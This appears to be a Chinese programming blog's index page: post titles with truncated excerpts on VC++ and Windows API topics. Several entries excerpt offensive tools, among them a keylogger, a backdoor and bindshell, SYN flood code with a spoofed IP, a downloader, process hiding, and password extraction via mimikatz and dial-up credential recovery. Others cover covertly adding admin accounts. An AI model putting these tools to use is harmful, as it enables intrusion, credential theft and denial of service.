VC学习
Yatere
求职,求合伙人,求项目。网络安全方面。
人生就好像一杆天平,虽明知没有绝对的平衡,但我们也在不断尝试,因为我们相信奇迹总会出现。
展开
-
window 匿名管通道编程
放个代码片段方便我以后做事SECURITY_ATTRIBUTES sa;HANDLE hRead,hWrite; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; //使用系统默认的安全描述符 sa.bInheritHandle = TRUE; //创建的进程继承句原创 2012-05-12 17:37:59 · 917 阅读 · 0 评论 -
编写一个初级的Windows调试器
编写一个初级的Windows调试器By Ajay Vijayvargiya | 24 Jan 2011作者:Ajay Vijayvargiya | 2011-01-24原文:http://www.codeproject.com/KB/system/writing_debugger_1.aspxPreamble前言All of us have used some转载 2012-02-05 11:57:27 · 1343 阅读 · 0 评论 -
无钩子的键盘记录例子 神人 WinEggDrop作品
//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: Hookless Keylogger// Test PlatForm: Win 2K Pro And Ser转载 2012-02-05 16:40:35 · 1531 阅读 · 0 评论 -
VC讲义大纲
另外,在实际的VC++教学中,发现很少有真正精通了C语言编程的学员,一般都有或多或少概念不是完全清楚的问题,特别是一些需要丰富的实战经验才能体会和明白的问题,如字符串,指针,类型转换,定义指向函数的指针类型,这也是导致学习VC++困难的一个原因。下面有几个简单测试将能发现你对C语言的掌握情况。int x=35;char str[10];//问:strlen(str)和sizeof(st转载 2012-01-28 20:31:08 · 3964 阅读 · 0 评论 -
ANSI字符和UNICODE字符
在软件开发中,特别是使用C语言的一些有关字符串处理的函数,ANSI和UNICODE是区分是用的,那么ANSI类型的字符和UNICODE类型的字符如何定义,如何使用呢?ANSI和UNICODE又如何转换呢?一.定义部分:ANSI: char str[1024]; 可用字符串处理函数:strcpy( ), strcat( ), strlen( )等等。UNICODE:wchar_t s原创 2012-01-25 15:56:43 · 931 阅读 · 0 评论 -
分析了Windows下不同的动态内存分配方式
这里的"动态内存"包含以下两个方面的内容: 1.内存。这里的"内存"指的是进程的虚拟内存空间。在Win32环境下,每一个进程拥有独立的,大小为4G(0x0000 0000 ~ 0xFFFF FFFF)的虚拟内存空间。 2.动态。这里的"动态"指的是进程虚拟内存空间中的动态内存区域。在一个进程的虚拟内存空间中,只有动态内存可以在运行是被应用程序自由的分配/使用/释放。在Win32环境转载 2012-01-25 01:27:59 · 1959 阅读 · 0 评论 -
三种想其他线程地址空间注入自己带吗
●Windows 钩子(Hooks)●CreateRemoteThread 和LoadLibrary 技术○进程间通讯●CreateRemoteThread 和 WriteProcessmemory 技术○如何使用该技术子类(SubClass)其他进程中的控件○什么情况下适合使用该技术●写在最后的话●附录●参考●文章历史导言:我们在Code projec转载 2012-01-28 20:42:52 · 859 阅读 · 0 评论 -
activex 部分属性代码定义
一定记得还要修改总索引DEFINE_GUID(IID_IPropertyFrame, 0xB196B28A,0xBAB4,0x101A,0xB6,0x9C,0x00,0xAA,0x00,0x34,0x1D,0x07);//// Class IDs for property sheet implementations//DEFINE_GUID(CLSID_CFontPropPage,原创 2012-01-28 15:36:43 · 671 阅读 · 0 评论 -
CArchive 序列化,持久性
void CMfctempDlg::OnButton1() { // TODO: Add your control notification handler code here CFile file("1.txt",CFile::modeCreate|CFile::modeReadWrite ); CArchive ar(&file,CArchive::store); int i=4;原创 2012-01-28 15:30:59 · 590 阅读 · 0 评论 -
枚举系统进程
在Windows 2000以上的MS操作系统,通过Windows的任务管理器可以列出当前系统的所有活动进程,在Windows XP中,更是在控制台下增加了一条Tasklist命令,让系统下的所有进程无所遁行。这一切是怎么实现的呢?方法一第一种方法是大家比较熟悉的通过ToolHelp Service提供的API函数来实现。这里用到了3个关键的函数:CreateToolhelp32Sn转载 2012-01-16 14:41:24 · 749 阅读 · 0 评论 -
古老的代码,但是绝对实用 一个小后门 WinEggDrop
//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: To Demonstrate Some Portless Backdoor Technique// Test转载 2012-02-05 16:39:11 · 2186 阅读 · 0 评论 -
演示还原NT平台上拨号连接的密码
-=-=-=-=-=-=-=-=-=-= x_dialupass.c -=-=-=-=-=-=-=-=-=-=/*演示还原NT平台上拨号连接的密码可运行于windows 2000/xp/2003原理基于分析dialupass v2.42eyas at xfocus.orghttp://www.xfocus.net2004-10-01FileName: x_dialupas转载 2012-02-05 16:45:33 · 901 阅读 · 0 评论 -
netstat 源码(占个地方)
#include "Winsock2.h"#include "Iphlpapi.h"#include #include #include #pragma comment(lib, "Iphlpapi.lib")#pragma comment(lib, "ws2_32.lib")static char TcpState[][32] = { "???",转载 2012-05-12 21:36:26 · 1909 阅读 · 3 评论 -
MS12-032 - Vulnerability in TCP/IP Could Allow Elevation of Privilege
Microsoft update release http://technet.microsoft.com/en-us/security/bulletin/ms12-032 Possible MS12-032 Proof of concept from StackOverflow thx to @avivra We discovered that running ou转载 2012-05-10 09:51:34 · 788 阅读 · 0 评论 -
一个syn c源码
#include #include #include #pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) // 定义状态提示函数 { static int play=0;//原创 2012-05-04 17:42:49 · 1233 阅读 · 1 评论 -
轻量级调试器神器 - mimikatz
昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下神器下载地址: mimikatz_trunk.zip还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from转载 2012-03-08 19:31:01 · 2842 阅读 · 0 评论 -
根据时间关机
为了限制我妈使用电脑的程序。是有早上8点以后以及完善8点之前用电脑,否则一开机就是关机。#include #include BOOL MySystemShutdown() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(),原创 2012-03-24 21:33:31 · 800 阅读 · 0 评论 -
windows 关机 从起代码
需要提升权限啊啊啊啊啊啊#include BOOL MySystemShutdown() { HANDLE hToken; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_Q原创 2012-03-24 20:50:27 · 853 阅读 · 0 评论 -
native app开发小结
Native app 程序开发 By microDebug程序类型关于程序级别的分类,大概可以分为三层:应用层程序,即普通的APP程序;Native App程序,如常见的chkdsk工具,PQ分区工具等,都属于这类,它是在win子系统未启动起来就执行的程序,执行环境比较纯净,只能调用ntdll.dll导出的函数;Driver 内核驱动程序,因功能不同也分为若干转载 2012-02-04 19:11:23 · 1562 阅读 · 0 评论 -
synflood.c 的一个例子
#include #include #include #include #pragma comment(lib,"ws2_32")#pragma comment(lib,"wsock32")#define FAKE_IP "201.79.131.18" #define SEQ 0x28376839#define right "===============Coder Paris转载 2012-02-05 16:52:35 · 790 阅读 · 0 评论 -
一个bindshell的代码
/* * Win32 RootKit - cmd.exe remote shell backdoor * (c) 2003 Christophe Devine * Distributed for educational purposes only! * * Before running ntbindshell.exe, rename it to * "rsmss.exe" and c转载 2012-02-05 16:48:06 · 1149 阅读 · 0 评论 -
函数调用栈
首先引入几个寄存器:EIP,EBP,ESP都是系统的寄存器,里面存的都是些地址。为什么要说这三个指针,是因为我们系统中栈的实现上离不开他们三个。我们DC上讲过栈的数据结构,主要有以下特点:后进先处。(这个强调过多)其实它还有以下两个作用:1.栈是用来存储临时变量,函数传递的中间结果。2.操作系统维护的,对于程序员是透明的。我们可能只强调了它的后进先出的特点,至于栈实原创 2012-01-22 01:24:09 · 1374 阅读 · 0 评论 -
关于typedef的用法总结
管实在C还是C++代码中,typedef这个词都不少见,当然出现频率较高的还是在C代码中。typedef与#define有些相似,但更多的是不同,特别是在一些复杂的用法上,就完全不同了,看了网上一些C/C++的学习者的博客,其中有一篇关于typedef的总结还是很不错,由于总结的很好,我就不加修改的引用过来了,以下是引用的内容(红色部分是我自己写的内容)。用途一:定义一种类型的别名转载 2012-01-21 01:38:09 · 663 阅读 · 0 评论 -
部分安全代码
// FPort.cpp : Defines the entry point for the console application.//#include "stdafx.h"BOOL GetProcessModule (DWORD dwPID, DWORD dwModuleID, � � � �LPMODULEENTRY32 lpMe32, DWORD cbMe32) { �原创 2012-01-20 11:59:57 · 2183 阅读 · 0 评论 -
NeT.eXe被删添加用户方法总结
<br /> <br />1、当net user拒绝访问的时候,不要急着上传net1.exe,可以试下搜索本地其他目录下有没有net1.exe。试下有没有运行权限。如果都不行,再试下有无上传权限,有上传权限直接上传上传net1.exe,这个要看运气的。<br /><br />2、利用VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,<br />Vbs代码如下 '建立一个gd$ 用户,密码为:123456<br />set wsnetwor转载 2011-05-30 09:16:00 · 1337 阅读 · 0 评论 -
vc编译exe文件之体积极速优化
<br /> <br />人们都说vc做出的东西可以小点,现在你打开vc编译一个Hello World出来!点属性看下,咦!我没走眼吧,就一Hello World就160kb真是要人命啊! 呵呵!上面的情况是笔者所遭遇的情况.不过后来了解vc可以通过设置参数来自定义编译方式.为什么文件那么大!主要是编译器加入了很多没必要的代码(这里是对我们而言,不过有些代码还是有利于安全的).好了我们就手动改下编译器的参数来看看能到多大!<br /><br />我们主要用到的技巧有:<br />一,使用release版而不转载 2011-05-29 23:40:00 · 1068 阅读 · 0 评论 -
UserClone 自己写的克隆帐户工具 附VC源码
<br />功能:<br /> <br /> 1.增加用户并添加到Administrators组<br /> Usage: userclone UserName Password /Add<br /> 2.克隆指定帐户<br /> Usage: userclone UserName ClonedUser /Clone<br /><br />开发环境:<br /> WinXP sp3 + VC++6.0<br /><br />PS: 为什么不能原创 2011-05-29 22:28:00 · 2096 阅读 · 1 评论 -
使用API添加用户的小程序 当net user不能使用时
<br />#ifndef UNICODE #define UNICODE #endif #include <stdio.h>#include <windows.h>#include <lm.h>#pragma comment(lib,"netapi32") int Usage(wchar_t *); int wmain(int argc, wchar_t *argv[]) { USER_INFO_1 ui; DWORD dwError =原创 2011-05-29 22:33:00 · 1902 阅读 · 0 评论 -
VC CString,int,string,char*之间的转换
<br />1 CString,int,string,char*之间的转换 <br />string 转 CString <br />CString.format("%s", string.c_str()); <br />char 转 CString <br />CString.format("%s", char*); <br />char 转 string <br />string s(char *); <br />string 转 char * <br />char *p = string.c_str(转载 2011-05-25 21:45:00 · 844 阅读 · 0 评论 -
VC 下载者
<br />// WebDown.cpp : Defines the entry point for the console application.#include "stdafx.h"#include "WebDown.h"#include "winsvc.h"#include "winsock2.h"#pragma comment(lib,"ws2_32.lib")#include "time.h"#include "urlmon.h"#pragma comment(l转载 2011-05-25 21:58:00 · 1109 阅读 · 0 评论 -
HANDLE CreateFile
HANDLE CreateFile( LPCTSTR lpFileName, // 指向文件名的指针 DWORD dwDesiredAccess, //读写模式 DWORD dwShareMode, // 共享模式 LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全属性指针 DWORD dwCreationDistribution, // 创建标志 DWORD转载 2011-05-15 01:53:00 · 1329 阅读 · 0 评论 -
常用的Win API函数
<br /><br />1、限制程序功能函数 <br />EnableMenuItem 允许、禁止或变灰指定的菜单条目 <br />EnableWindow 允许或禁止鼠标和键盘控制指定窗口和条目(禁止时菜单变灰) <br />2、对话框函数 <br />CreateDialog 从资源模板建立一非模态对话窗 <br />CreateDialogParam 从资源模板建立一非模态对话窗 <br />CreateDialogIndirect 从内存模板建立一非模态对话窗 <br />CreateDialogI转载 2011-05-15 01:49:00 · 702 阅读 · 0 评论 -
栈、堆的理解
<br /><br />一、预备知识—程序的内存分配<br /><br />一个由c/C++编译的程序占用的内存分为以下几个部分<br />1、栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等。其操作方式类似于数据结构中的栈。<br />2、堆区(heap) — 一般由程序员分配释放, 若程序员不释放,程序结束时可能由OS回收 。注意它与数据结构中的堆是两回事,分配方式倒是类似于链表,呵呵。<br />3、全局区(静态区)(static)—,全局变量和静态变转载 2011-05-14 03:37:00 · 565 阅读 · 0 评论 -
隐藏进程(在任务管理器中看不到),vc6.0
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////Hide Process#include#include#inclu转载 2011-06-07 12:10:00 · 2131 阅读 · 0 评论 -
VC++中进程间相互通信的十一种方法
VC++中进程间相互通信的十一种方法 收藏进程通常被定义为一个正在运行的程序的实例,它由两个部分组成: 一个是操作系统用来管理进程的内核对象。内核对象也是系统用来存放关于进程的统计信息的地方 另一个是地址空间,它包含所有的可执行模块或DLL模块的代码和数据。它还包含动态分配的空间。如线程堆栈和堆分配空间。每个进程被赋予它自己的虚拟地址空间,当进程中的一个线程正在运行时,该线转载 2011-06-07 12:11:00 · 814 阅读 · 0 评论 -
LoadLibrary 和 GetModuleHandle
LoadLibrary是加载dll并增加引用计数,需要freelibrary释放。而GetModuleHandle是返回一个已经映射进调用进程地址空间的模块的句柄,不需要释放原创 2012-01-15 00:07:14 · 1482 阅读 · 0 评论 -
Windows消息大全
Windows消息大全 Windows是一消息(Message)驱动式系统,Windows消息提供了应用程序与应用程序之间、应用程序与Windows系统之间进行通讯的手段。应用程序要实现的功能由消息来触发,并靠对消息的响应和处理来完成。Windows系统中有两种消息队列,一种是系统消息队列,另一种是应用程序消息队列。计算机的所有输入设备由 Windows监控,当一个事件发生时,Win转载 2012-01-10 21:13:39 · 967 阅读 · 0 评论 -
vc 部分外挂相关代码,不断增加ing
转ASM代码@echo offf@cd /d "%~dp0"cl /c /FAs %1读取进程数据:HWND g=::FindWindow(NULL,gamename);DWORD a;::GetWindowThreadProcessId(g,(LPDWORD)&a);HANDLE ph=::OpenProcess(PROCESS_AL原创 2012-01-09 15:20:23 · 755 阅读 · 0 评论 -
自学数据分析需要的bat
@echo offf@cd /d "%~dp0"cl /c /FAs %1 为了学习vc编译代码和asm相关使用原创 2012-01-08 12:08:34 · 732 阅读 · 0 评论 -
MFC INI文件读写
INI文件是Windows系统中一类比较重要的文件,通常用来存放系统或者应用程序的配置信息,以方便系统或者应用 程序在初始化时再次读入。比如Windows系统中的配置文件win.ini和system.ini,它们就主要存放系统启动或用户登陆时的系统信息。这 项功能在方便了系统配置的同时,也为非法程序的自动运行提供了可乘之机。显然,这类文件的重要性应该引起我们的重视。但是对于这样的ini文件的读转载 2012-01-08 15:39:25 · 636 阅读 · 0 评论